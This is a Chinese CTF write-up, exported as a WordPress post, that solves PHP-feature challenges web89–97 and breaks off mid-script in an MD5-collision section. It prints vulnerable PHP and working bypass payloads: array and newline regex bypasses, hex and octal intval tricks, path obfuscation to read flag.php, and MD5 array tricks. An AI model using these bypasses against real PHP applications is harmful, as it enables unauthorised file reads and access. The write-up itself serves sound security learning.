{"id":293,"date":"2022-10-05T19:35:04","date_gmt":"2022-10-05T11:35:04","guid":{"rendered":"http:\/\/162.14.82.114\/?p=293"},"modified":"2022-10-05T19:35:04","modified_gmt":"2022-10-05T11:35:04","slug":"web%e5%85%a5%e9%97%a8-php%e7%89%b9%e6%80%a7%e4%b8%80","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/293\/10\/05\/2022\/","title":{"rendered":"WEB\u5165\u95e8\u2014\u2014PHP\u7279\u6027(\u4e00)"},"content":{"rendered":"<h1>web89<\/h1>\n<ul>\n<li>\u6b64\u9898\u4e3a \u3010\u4ece0\u5f00\u59cb\u5b66web\u3011\u7cfb\u5217\u7b2c\u516b\u5341\u4e5d\u9898<\/li>\n<li>\u6b64\u7cfb\u5217\u9898\u76ee\u4ece\u6700\u57fa\u7840\u5f00\u59cb\uff0c\u9898\u76ee\u9075\u5faa\u5faa\u5e8f\u6e10\u8fdb\u7684\u539f\u5219<\/li>\n<li>\u5e0c\u671b\u5bf9\u5b66\u4e60CTF WEB\u7684\u540c\u5b66\u6709\u6240\u5e2e\u52a9\u3002<\/li>\n<\/ul>\n<pre><code class=\"language-text\">\u5f00\u59cbphp\u7279\u6027\u7cfb\u5217\u4e86\uff0c\u5e08\u5085\u4eec\uff0c\u51b2\u51b2\u51b2\uff01<\/code><\/pre>\n<pre><code class=\"language-php\">&lt;?php\ninclude(&quot;flag.php&quot;);\nhighlight_file(__FILE__);\n\nif(isset($_GET[&#039;num&#039;])){\n    $num = $_GET[&#039;num&#039;];\n    if(preg_match(&quot;\/[0-9]\/&quot;, $num)){\n        die(&quot;no no no!&quot;);\n    }\n    if(intval($num)){\n        echo $flag;\n    }\n}<\/code><\/pre>\n<p>\u5148\u770b\u4e00\u4e0b\u7528\u5230\u7684\u51fd\u6570\uff1a<\/p>\n<blockquote>\n<p><code>intval<\/code>\uff1a<strong>intval()<\/strong> \u51fd\u6570\u901a\u8fc7\u4f7f\u7528\u6307\u5b9a\u7684\u8fdb\u5236 base \u8f6c\u6362\uff08\u9ed8\u8ba4\u662f\u5341\u8fdb\u5236\uff09\uff0c\u8fd4\u56de\u53d8\u91cf var \u7684 integer \u6570\u503c\u3002 intval() \u4e0d\u80fd\u7528\u4e8e object\uff0c\u5426\u5219\u4f1a\u4ea7\u751f E_NOTICE \u9519\u8bef\u5e76\u8fd4\u56de 1\u3002<\/p>\n<p><code>preg_match<\/code>\uff1apreg_match \u51fd\u6570\u7528\u4e8e\u6267\u884c\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\u5339\u914d\uff0c\u8fd4\u56de\u7684\u5339\u914d\u6b21\u6570\uff0c\u4e0d\u5339\u914d\u4e3a0\uff0c\u5339\u914d\u6210\u529f1\u6b21\u5373\u4e3a1\uff0c\u7136\u540e\u505c\u6b62\u641c\u7d22\uff0c<strong>\u8be5\u51fd\u6570\u53ea\u4f1a\u5339\u914d\u4e00\u884c\uff0c\u53ef\u4ee5%0a\u6362\u884c\u7ed5\u8fc7<\/strong><\/p>\n<p><code>preg_match_all<\/code>\u4f1a\u4e00\u76f4\u641c\u7d22\u76f4\u5230\u5230\u8fbe\u7ed3\u5c3e\u3002<\/p>\n<\/blockquote>\n<p>\u672c\u9898\u53ef\u4ee5\u91c7\u7528\u6570\u7ec4\u7ed5\u8fc7\u4ee5\u53ca\u5b57\u7b26\u4e32\u7ed5\u8fc7\u3002\u3002\u3002<\/p>\n<pre><code>payload:\/?num[]=    <\/code><\/pre>\n<p>\u5f97\u5230flag\u3002<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-php\">\u901a\u8fc7\u6570\u7ec4\u7ed5\u8fc7<\/code><\/pre>\n<h1>web90<\/h1>\n<pre><code class=\"language-php\">&lt;?php\ninclude(&quot;flag.php&quot;);\nhighlight_file(__FILE__);\nif(isset($_GET[&#039;num&#039;])){\n    $num = $_GET[&#039;num&#039;];\n    if($num===&quot;4476&quot;){\n        die(&quot;no no no!&quot;);\n    }\n    if(intval($num,0)===4476){\n        echo $flag;\n    }else{\n        echo intval($num,0);\n    }\n}<\/code><\/pre>\n<p><strong>intval \u8bed\u6cd5<\/strong><\/p>\n<pre><code>int intval ( mixed $var [, int $base = 10 ] )<\/code><\/pre>\n<p>\u53c2\u6570\u8bf4\u660e\uff1a<\/p>\n<ul>\n<li>$var\uff1a\u8981\u8f6c\u6362\u6210 integer \u7684\u6570\u91cf\u503c\u3002<\/li>\n<li>$base\uff1a\u8f6c\u5316\u6240\u4f7f\u7528\u7684\u8fdb\u5236\u3002<\/li>\n<\/ul>\n<p>\u5982\u679c base \u662f 0\uff0c\u901a\u8fc7\u68c0\u6d4b var \u7684\u683c\u5f0f\u6765\u51b3\u5b9a\u4f7f\u7528\u7684\u8fdb\u5236\uff1a<\/p>\n<ul>\n<li>\u5982\u679c\u5b57\u7b26\u4e32\u5305\u62ec\u4e86 <code>0x<\/code> (\u6216 <code>0X<\/code>) \u7684\u524d\u7f00\uff0c\u4f7f\u7528 16 \u8fdb\u5236 (hex)\uff1b\u5426\u5219\uff0c<\/li>\n<li>\u5982\u679c\u5b57\u7b26\u4e32\u4ee5 <code>0<\/code> \u5f00\u59cb\uff0c\u4f7f\u7528 8 \u8fdb\u5236(octal)\uff1b\u5426\u5219\uff0c<\/li>\n<li>\u5c06\u4f7f\u7528 10 \u8fdb\u5236 (decimal)\u3002<\/li>\n<\/ul>\n<p>\u76f8\u5173\u5b9e\u4f8b\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\necho intval(42);                      \/\/ 42\necho intval(4.2);                     \/\/ 4\necho intval(&#039;42&#039;);                    \/\/ 42\necho intval(&#039;+42&#039;);                   \/\/ 42\necho intval(&#039;-42&#039;);                   \/\/ -42\necho intval(042);                     \/\/ 34\necho intval(&#039;042&#039;);                   \/\/ 42\necho intval(1e10);                    \/\/ 1410065408\necho intval(&#039;1e10&#039;);                  \/\/ 1\necho intval(0x1A);                    \/\/ 26\necho intval(42000000);                \/\/ 42000000\necho intval(420000000000000000000);   \/\/ 0\necho intval(&#039;420000000000000000000&#039;); \/\/ 2147483647\necho intval(42, 8);                   \/\/ 42\necho intval(&#039;42&#039;, 8);                 \/\/ 34\necho intval(array());                 \/\/ 0\necho intval(array(&#039;foo&#039;, &#039;bar&#039;));     \/\/ 1\n?&gt;<\/code><\/pre>\n<p>\u8981\u6c42\u8f93\u5165\u4e00\u4e2a\u5b57\u7b26\u4e32\uff0c\u4e14\u7ecf\u8fc7\u5341\u8fdb\u5236\u8f6c\u6362\u8fd8\u7b49\u4e8e 4476\uff0c\u8054\u60f3\u5230\u8fdb\u5236\u8f6c\u6362\u4ee5\u53ca\u5f31\u7c7b\u578b\u6bd4\u8f83\uff0c\u4ea7\u751f\u4e86\u4e24\u79cd payload\uff1a<\/p>\n<pre><code>payload1:\/?num=4476aaa\npayload2:\/?num=0x117c<\/code><\/pre>\n<div align=\"center\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='WEB\u5165\u95e8\u2014\u2014PHP\u7279\u6027.assets\/image-20220922212709045.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"WEB\u5165\u95e8\u2014\u2014PHP\u7279\u6027.assets\/image-20220922212709045.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220922212709045\" style=\"zoom: 33%;\" \/><\/div><\/div>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">\u56e0\u4e3a\u6211\u4eec\u63d0\u4ea4\u7684\u53c2\u6570\u503c\u9ed8\u8ba4\u5c31\u662f\u5b57\u7b26\u4e32\u7c7b\u578b \u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u8f93\u5165 ?num=4476%23<\/code><\/pre>\n<h1>web91<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nshow_source(__FILE__);\ninclude(&#039;flag.php&#039;);\n$a=$_GET[&#039;cmd&#039;];\nif(preg_match(&#039;\/^php$\/im&#039;, $a)){\n    if(preg_match(&#039;\/^php$\/i&#039;, $a)){\n        echo &#039;hacker&#039;;\n    }\n    else{\n        echo $flag;\n    }\n}\nelse{\n    echo &#039;nonononono&#039;;\n}\nNotice: Undefined index: cmd in \/var\/www\/html\/index.php on line 15\nnonononono<\/code><\/pre>\n<p>\u9898\u76ee\u91cc\u7684\u7b2c\u4e00\u4e2a\u6b63\u5219\u5339\u914d\u662f\u8868\u793a\u5339\u914d<code>\u4ee5php\u5f00\u5934\u6216\u7ed3\u5c3e<\/code>\u53ca<code>\u5927\u5c0f\u5199\u68c0\u9a8c<\/code>\u52a0\u4e0a<code>\u591a\u884c\u68c0\u9a8c<\/code>\uff0c\u7b2c\u4e8c\u4e2a\u5339\u914d\u6ca1\u6709\u8fdb\u884c\u591a\u884c\u5339\u914d\uff0c\u4e8e\u662f\u53ef\u4ee5\u5229\u7528\u6362\u884c\u8fdb\u884c\u7ed5\u8fc7\uff1a<\/p>\n<pre><code class=\"language-php\">payload:\/?cmd=%0aphp<\/code><\/pre>\n<h2>Hint<\/h2>\n<p>\u8003\u67e5\uff1a\u6b63\u5219\u8868\u8fbe\u5f0f\u662f\u5339\u914d\u65b9\u6cd5 <a href=\"https:\/\/blog.csdn.net\/qq_46091464\/article\/details\/108278486\">https:\/\/blog.csdn.net\/qq_46091464\/article\/details\/108278486<\/a> <\/p>\n<p>\u53ef\u4ee5\u901a\u8fc7 <code>%0a <\/code>\u7ed5\u8fc7 <code>payload\uff1a abc%0aphp<\/code><\/p>\n<h1>web92<\/h1>\n<pre><code class=\"language-php\">&lt;?php\ninclude(&quot;flag.php&quot;);\nhighlight_file(__FILE__);\nif(isset($_GET[&#039;num&#039;])){\n    $num = $_GET[&#039;num&#039;];\n    if($num==4476){\n        die(&quot;no no no!&quot;);\n    }\n    if(intval($num,0)==4476){\n        echo $flag;\n    }else{\n        echo intval($num,0);\n    }\n}<\/code><\/pre>\n<blockquote>\n<p><strong>isset()<\/strong> \u51fd\u6570\u7528\u4e8e\u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u5df2\u8bbe\u7f6e\u5e76\u4e14\u975e NULL\u3002<\/p>\n<p>\u5982\u679c\u5df2\u7ecf\u4f7f\u7528 <code>unset()<\/code> \u91ca\u653e\u4e86\u4e00\u4e2a\u53d8\u91cf\u4e4b\u540e\uff0c\u518d\u901a\u8fc7<code> isset()<\/code> \u5224\u65ad\u5c06\u8fd4\u56de FALSE\u3002<\/p>\n<p>\u82e5\u4f7f\u7528 <code>isset()<\/code> \u6d4b\u8bd5\u4e00\u4e2a\u88ab\u8bbe\u7f6e\u6210 NULL \u7684\u53d8\u91cf\uff0c\u5c06\u8fd4\u56de <code>FALSE<\/code>\u3002<\/p>\n<p>\u540c\u65f6\u8981\u6ce8\u610f\u7684\u662f null \u5b57\u7b26<code>\\0<\/code>\u5e76\u4e0d\u7b49\u540c\u4e8e PHP \u7684 NULL \u5e38\u91cf\u3002<\/p>\n<\/blockquote>\n<p>\u4ed6\u8fd9\u6b21\u548c\u4ee5\u524d\u4e0d\u4e00\u6837\u7684\u5730\u65b9\u662f<code>if($num==4476)<\/code>\u5339\u914d\u7684\u662f\u5b57\u7b26\u4e32\uff0c\u4e0d\u80fd\u518d\u4e00\u6982\u800c\u8bba\uff0c\u6545\u5f31\u7c7b\u578b\u4e0d\u884c\u4e86\uff0c\u8bd5\u8bd5\u5176\u4ed6\u65b9\u5f0f\uff0c\u53d1\u73b0\u8fdb\u5236\u8f6c\u5316\u4f9d\u7136\u53ef\u4ee5\u7ed5\u8fc7\uff1a<\/p>\n<pre><code class=\"language-php\">payload:\/?num=0x117c\n#   \u540c\u7406\/?num=010574\u4e5f\u53ef\u4ee5<\/code><\/pre>\n<p>\u6309\u7167<code>Hint<\/code>\u91cc\u63d0\u5230\u7684\u4f7f\u7528e\u8fdb\u884c\u622a\u65ad\u4e5f\u662f\u79cd\u65b9\u6cd5\uff0c\u5012\u662f\u5ffd\u7565\u6389\u4e86\u3002\u3002\u3002<\/p>\n<pre><code>hint_payload:\/?num=4476e123<\/code><\/pre>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">intval()\u51fd\u6570\u5982\u679c$base\u4e3a0\u5219$var\u4e2d\u5b58\u5728\u5b57\u6bcd\u7684\u8bdd\u9047\u5230\u5b57\u6bcd\u5c31\u505c\u6b62\u8bfb\u53d6 \u4f46\u662fe\u8fd9\u4e2a\u5b57\u6bcd\u6bd4\u8f83\u7279\u6b8a\uff0c\u53ef\u4ee5\u5728PHP\u4e2d\u4e0d\u662f\u79d1\u5b66\u8ba1\u6570\u6cd5\u3002\u6240\u4ee5\u4e3a\u4e86\u7ed5\u8fc7\u524d\u9762\u7684==4476\u6211\u4eec\u5c31\u53ef\u4ee5\u6784\u9020 4476e123 \u5176\u5b9e\u4e0d\u9700\u8981\u662fe\u5176\u4ed6\u7684\u5b57\u6bcd\u4e5f\u53ef\u4ee5<\/code><\/pre>\n<h2>\u6269\u5c55\uff1a\u6839\u636eintval\u7279\u6027\u5728sql\u6ce8\u5165\u4e2d\u731c\u6d4b\u540e\u53f0\u5199\u6cd5<\/h2>\n<p><code>new.php?id=13<\/code>\u4e0e<code>new.php?id=13&#039;<\/code>\u9875\u9762\u4e00\u6837<\/p>\n<p>\u5982\u679c\u7528<code>news.php?id[]=13<\/code>\u51fa\u73b0\u548c<code>news.php?id=1<\/code>\u51fa\u73b0\u4e00\u6837\u7684\u7ed3\u679c\u5219\u662f\u4e0b\u9762\u8fd9\u79cd\u5199\u6cd5\uff1a<\/p>\n<p><code>$id=intval($_GET[&#039;id&#039;]);<\/code><\/p>\n<p>\u56e0\u4e3a intval \u5728 \u5904\u7406\u5bf9\u8c61\u65f6\uff0c\u4f1a\u81ea\u52a8\u8fd4\u56de 1\u3002<\/p>\n<p>\u4e0a\u9762\u8fd9\u79cd\u60c5\u51b5\u5355\u5f15\u53f7\u7684\u9003\u9038\u53ef\u80fd\u6027\u5c31\u4f1a\u6bd4\u8f83\u4f4e\uff0c\u53ef\u4ee5\u5bfb\u627e\u4e0b\u4e00\u4e2a\u6ce8\u5165\u70b9\u4e86\u3002\u3002\u3002\u3002<\/p>\n<h1>web93<\/h1>\n<pre><code class=\"language-php\">&lt;?php\ninclude(&quot;flag.php&quot;);\nhighlight_file(__FILE__);\nif(isset($_GET[&#039;num&#039;])){\n    $num = $_GET[&#039;num&#039;];\n    if($num==4476){\n        die(&quot;no no no!&quot;);\n    }\n    if(preg_match(&quot;\/[a-z]\/i&quot;, $num)){\n        die(&quot;no no no!&quot;);\n    }\n    if(intval($num,0)==4476){\n        echo $flag;\n    }else{\n        echo intval($num,0);\n    }\n}<\/code><\/pre>\n<p>\u8fc7\u6ee4\u6389\u4e86\u5b57\u6bcd\u76f4\u63a5\u4f7f\u7528\u516b\u8fdb\u5236\u5c31\u884c\u4e86\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-php\">payload:\/?num=010574<\/code><\/pre>\n<h2>hint<\/h2>\n<pre><code class=\"language-text\">\u8fc7\u6ee4\u4e86\u5b57\u6bcd\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5176\u4ed6\u8fdb\u5236\u5c31\u662f\u8ba1\u7b97 0b?? : \u4e8c\u8fdb\u52360??? : \u516b\u8fdb\u5236 0X?? : 16\u8fdb\u5236 payload \uff1a ?num=010574<\/code><\/pre>\n<h1>web94<\/h1>\n<pre><code class=\"language-php\">&lt;?php\ninclude(&quot;flag.php&quot;);\nhighlight_file(__FILE__);\nif(isset($_GET[&#039;num&#039;])){\n    $num = $_GET[&#039;num&#039;];\n    if($num===&quot;4476&quot;){\n        die(&quot;no no no!&quot;);\n    }\n    if(preg_match(&quot;\/[a-z]\/i&quot;, $num)){\n        die(&quot;no no no!&quot;);\n    }\n    if(!strpos($num, &quot;0&quot;)){\n        die(&quot;no no no!&quot;);\n    }\n    if(intval($num,0)===4476){\n        echo $flag;\n    }\n}<\/code><\/pre>\n<p>\u53ef\u4ee5\u67e5\u770b\u4e00\u4e0b\u76f8\u5173\u51fd\u6570\uff1a<\/p>\n<blockquote>\n<p>strpos() \u51fd\u6570\u67e5\u627e\u5b57\u7b26\u4e32\u5728\u53e6\u4e00\u5b57\u7b26\u4e32\u4e2d\u7b2c\u4e00\u6b21\u51fa\u73b0\u7684\u4f4d\u7f6e\u3002<\/p>\n<p><strong>\u6ce8\u91ca\uff1a<\/strong>strpos() \u51fd\u6570\u5bf9\u5927\u5c0f\u5199\u654f\u611f\u3002<\/p>\n<p><strong>\u6ce8\u91ca\uff1a<\/strong>\u8be5\u51fd\u6570\u662f\u4e8c\u8fdb\u5236\u5b89\u5168\u7684\u3002<\/p>\n<p><strong>\u76f8\u5173\u51fd\u6570\uff1a<\/strong><\/p>\n<ul>\n<li><a href=\"https:\/\/www.w3school.com.cn\/php\/func_string_stripos.asp\">stripos()<\/a> - \u67e5\u627e\u5b57\u7b26\u4e32\u5728\u53e6\u4e00\u5b57\u7b26\u4e32\u4e2d\u7b2c\u4e00\u6b21\u51fa\u73b0\u7684\u4f4d\u7f6e\uff08\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff09<\/li>\n<li><a href=\"https:\/\/www.w3school.com.cn\/php\/func_string_strripos.asp\">strripos()<\/a> - \u67e5\u627e\u5b57\u7b26\u4e32\u5728\u53e6\u4e00\u5b57\u7b26\u4e32\u4e2d\u6700\u540e\u4e00\u6b21\u51fa\u73b0\u7684\u4f4d\u7f6e\uff08\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff09<\/li>\n<li><a href=\"https:\/\/www.w3school.com.cn\/php\/func_string_strrpos.asp\">strrpos()<\/a> - \u67e5\u627e\u5b57\u7b26\u4e32\u5728\u53e6\u4e00\u5b57\u7b26\u4e32\u4e2d\u6700\u540e\u4e00\u6b21\u51fa\u73b0\u7684\u4f4d\u7f6e\uff08\u533a\u5206\u5927\u5c0f\u5199\uff09<\/li>\n<\/ul>\n<\/blockquote>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u4e00\u4e0b\u903b\u8f91\uff1a<\/p>\n<ul>\n<li>\u5982\u679c\u8f93\u5165\u5f3a\u76f8\u7b49\u4e8e\u5b57\u7b26\u4e32<code>4476<\/code>\uff0c\u5219\u963b\u65ad<\/li>\n<li>\u4f20\u5165\u53c2\u6570\u542b\u6709\u5b57\u6bcd\u5219\u963b\u65ad<\/li>\n<li>\u4f20\u5165\u53c2\u6570\u5fc5\u987b\u542b\u6709 0\uff0c\u5426\u5219\u963b\u65ad<\/li>\n<li>intval\u540e\u4ecd\u7136\u7b49\u4e8e 4476 \u5219\u7ed9 flag<\/li>\n<\/ul>\n<p>\u6784\u9020 payload\uff1a<\/p>\n<pre><code class=\"language-php\">\/?num=4476.0<\/code><\/pre>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">\u572893\u7684\u57fa\u7840\u4e0a\u8fc7\u6ee4\u4e86\u5f00\u5934\u4e3a0\u7684\u6570\u5b57 \u8fd9\u6837\u7684\u8bdd\u5c31\u4e0d\u80fd\u4f7f\u7528\u8fdb\u5236\u8f6c\u6362\u6765\u8fdb\u884c\u64cd\u4f5c \u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5c0f\u6570\u70b9\u6765\u8fdb\u884c\u64cd\u4f5c\u3002\u8fd9\u6837\u901a\u8fc7intval()\u51fd\u6570\u5c31\u53ef\u4ee5\u53d8\u4e3aint\u7c7b\u578b\u76844476 ?num=4476.0<\/code><\/pre>\n<h1>web95<\/h1>\n<pre><code class=\"language-php\">&lt;?php\ninclude(&quot;flag.php&quot;);\nhighlight_file(__FILE__);\nif(isset($_GET[&#039;num&#039;])){\n    $num = $_GET[&#039;num&#039;];\n    if($num==4476){\n        die(&quot;no no no!&quot;);\n    }\n    if(preg_match(&quot;\/[a-z]|\\.\/i&quot;, $num)){\n        die(&quot;no no no!!&quot;);\n    }\n    if(!strpos($num, &quot;0&quot;)){\n        die(&quot;no no no!!!&quot;);\n    }\n    if(intval($num,0)===4476){\n        echo $flag;\n    }\n}<\/code><\/pre>\n<p>\u4ee3\u7801\u5ba1\u8ba1\uff1a<\/p>\n<ul>\n<li>\u4f20\u5165\u53c2\u6570\u82e5\u7b49\u4e8e4476\u5219\u963b\u65ad<\/li>\n<li>\u4f20\u5165\u53c2\u6570\u4e0d\u80fd\u542b\u6709\u5927\u5c0f\u5199\u5b57\u6bcd\u53ca<code>.<\/code><\/li>\n<li>\u5fc5\u987b\u542b\u67090\uff0c\u5426\u5219\u963b\u65ad<\/li>\n<li>intval\u5904\u7406\u540e\u5f3a\u7b49\u4e8e4476<\/li>\n<\/ul>\n<p>\u731c\u6d4b\u4f7f\u7528\u8fdb\u5236\u8f6c\u6362\u53ef\u4ee5\u7ed5\u8fc7\uff0c\u53ef\u4ee5\u4f7f\u7528<code>010574<\/code>\u4f46\u662f\u4e3a\u4e86\u8d8a\u8fc7\u5f31\u7b49\uff0c\u5fc5\u987b\u5728\u524d\u9762\u52a0\u4e0a\u5b57\u7b26\uff0c\u8fd9\u4e2a\u53ef\u4ee5\u81ea\u5df1\u8fdb\u884c\u5c1d\u8bd5<\/p>\n<pre><code class=\"language-php\">\/?num=+010574<\/code><\/pre>\n<p>\u56e0\u4e3a\u52a0\u6cd5\u5728url\u91cc\u548c\u7a7a\u683c\u5dee\u4e0d\u591a\uff0c\u56e0\u6b64\u5c06\u52a0\u6cd5\u7f16\u7801\u4e5f\u662f\u53ef\u4ee5\u7684\uff1a<\/p>\n<pre><code class=\"language-php\">\/?num=%2B010574<\/code><\/pre>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">\u53ef\u4ee5\u901a\u8fc78\u8fdb\u5236\u7ed5\u8fc7\u4f46\u662f\u524d\u9762\u5fc5\u987b\u591a\u52a0\u4e00\u4e2a\u5b57\u8282 ?num=+010574\u6216\u8005?num=%2b010574<\/code><\/pre>\n<h1>web96<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\nif(isset($_GET[&#039;u&#039;])){\n    if($_GET[&#039;u&#039;]==&#039;flag.php&#039;){\n        die(&quot;no no no&quot;);\n    }else{\n        highlight_file($_GET[&#039;u&#039;]);\n    }\n}<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u662f\u4e00\u4e2a\u6587\u4ef6\u540d\u7684\u5f31\u7c7b\u578b\u6bd4\u8f83\uff1a<\/p>\n<h2>\u65b9\u6cd5\u4e00\uff1a\u5f53\u524d\u76ee\u5f55<\/h2>\n<pre><code class=\"language-php\">payload:\/?u=.\/flag.php<\/code><\/pre>\n<h2>\u65b9\u6cd5\u4e8c\uff1a\u7edd\u5bf9\u8def\u5f84<\/h2>\n<pre><code>payload:\/?u=\/var\/www\/html\/flag.php<\/code><\/pre>\n<h2>\u65b9\u6cd5\u4e09\uff1a\u8def\u5f84\u6df7\u6dc6<\/h2>\n<pre><code>payload:\/?u=a\/b\/c\/d\/..\/..\/..\/..\/e\/f\/g\/..\/..\/..\/flag.php<\/code><\/pre>\n<p>\u4e2d\u95f4\u7684\u76ee\u5f55\u4e0d\u5b58\u5728\uff0c\u4f46\u662f\u5e76\u4e0d\u80fd\u963b\u6b62\u6211\u4eec\u4f7f\u7528\uff01\uff01\uff01<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">\u5728linux\u4e0b\u9762\u8868\u793a\u5f53\u524d\u76ee\u5f55\u662f .\/ \u6240\u4ee5\u6211\u4eec\u7684payload\uff1a u=.\/flag.php<\/code><\/pre>\n<h1>web97<\/h1>\n<pre><code class=\"language-php\">&lt;?php\ninclude(&quot;flag.php&quot;);\nhighlight_file(__FILE__);\nif (isset($_POST[&#039;a&#039;]) and isset($_POST[&#039;b&#039;])) {\nif ($_POST[&#039;a&#039;] != $_POST[&#039;b&#039;])\nif (md5($_POST[&#039;a&#039;]) === md5($_POST[&#039;b&#039;]))\necho $flag;\nelse\nprint &#039;Wrong.&#039;;\n}\n?&gt;<\/code><\/pre>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u4e00\u4e0b\uff1a<\/p>\n<p>\u9700\u8981\u4f20\u5165a\u548cb\u4fe9\u53c2\u6570\uff0c\u8981\u6c42md5\u76f8\u540c\uff0c\u4f46\u662f\u53c2\u6570\u53c8\u4e0d\u76f8\u540c\u3002<\/p>\n<blockquote>\n<p><a href=\"https:\/\/so.csdn.net\/so\/search?q=MD5&amp;spm=1001.2101.3001.7020\">MD5<\/a>\u662f\u4e00\u79cd\u6563\u5217\u51fd\u6570,\u662f\u54c8\u5e0c\u7b97\u6cd5\u7684\u4e00\u79cd,\u53ef\u4ee5\u5c06\u4efb\u610f\u957f\u5ea6\u7684\u8f93\u5165,\u901a\u8fc7\u6563\u5217\u7b97\u6cd5\u53d8\u6362\u6210128\u4f4d\u7684\u6563\u5217\u503c<\/p>\n<\/blockquote>\n<h2>\u65b9\u6cd5\u4e00\uff1a\u6570\u7ec4\u7ed5\u8fc7<\/h2>\n<pre><code class=\"language-text\">a[]=1&amp;b[]=2<\/code><\/pre>\n<p>\u4f1a\u53d1\u73b0\u6709\uff1a<\/p>\n<pre><code class=\"language-text\">Warning: md5() expects parameter 1 to be string, array given in \/var\/www\/html\/index.php on line 17\nWarning: md5() expects parameter 1 to be string, array given in \/var\/www\/html\/index.php on line 17<\/code><\/pre>\n<p>\u8fd9\u662f\u56e0\u4e3a\u4f20\u5165\u7684\u662f\u6570\u7ec4\uff0cmd5\u4e0d\u80fd\u52a0\u5bc6\u6570\u7ec4\uff0c\u4f20\u5165\u6570\u7ec4\u4f1a\u62a5\u9519,\u4f46\u4f1a\u7ee7\u7eed\u6267\u884c\u5e76\u4e14\u8fd4\u56de\u7ed3\u679c\u4e3a null\u3002<\/p>\n<h2>\u65b9\u6cd5\u4e8c\uff1aMD5\u78b0\u649e\uff08\u672a\u6210\u529f\uff09<\/h2>\n<p>\u5148\u5efa\u7acb\u4e00\u4e2a<code>.txt<\/code>\u6587\u4ef6\uff0c\u968f\u4fbf\u5199\u4e00\u4e2a\u5185\u5bb9\uff0c\u4e22\u5230<code>fastcoll<\/code>\u91cc\u53bb\uff0c\u751f\u6210\u4fe9\u6587\u4ef6\uff1a<\/p>\n<div align=\"center\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202209230125831.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202209230125831.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220923012505829\" style=\"zoom:33%;\" \/><\/div><\/div>\n<div align=\"center\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='WEB\u5165\u95e8\u2014\u2014PHP\u7279\u6027.assets\/image-20220923012533011.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"WEB\u5165\u95e8\u2014\u2014PHP\u7279\u6027.assets\/image-20220923012533011.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220923012533011\" style=\"zoom:33%;\" \/><\/div><\/div>\n<p>\u8fd9\u4e24\u4e2a\u6587\u4ef6\u5185\u5bb9\u4e0d\u540c\uff0c\u4f46\u662fmd5\u503c\u662f\u76f8\u540c\u7684\u3002<\/p>\n<p>\u7136\u540e\u4f7f\u7528\u811a\u672c\u751f\u6210\u78b0\u649e\u7684\u5b57\u7b26\u4e32\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php \nfunction readmyfile($path){\n $fh = fopen($path, &quot;rb&quot;);\n $data = fread($fh, filesize($path));\n fclose($fh);\n return $data;\n}\n$a = 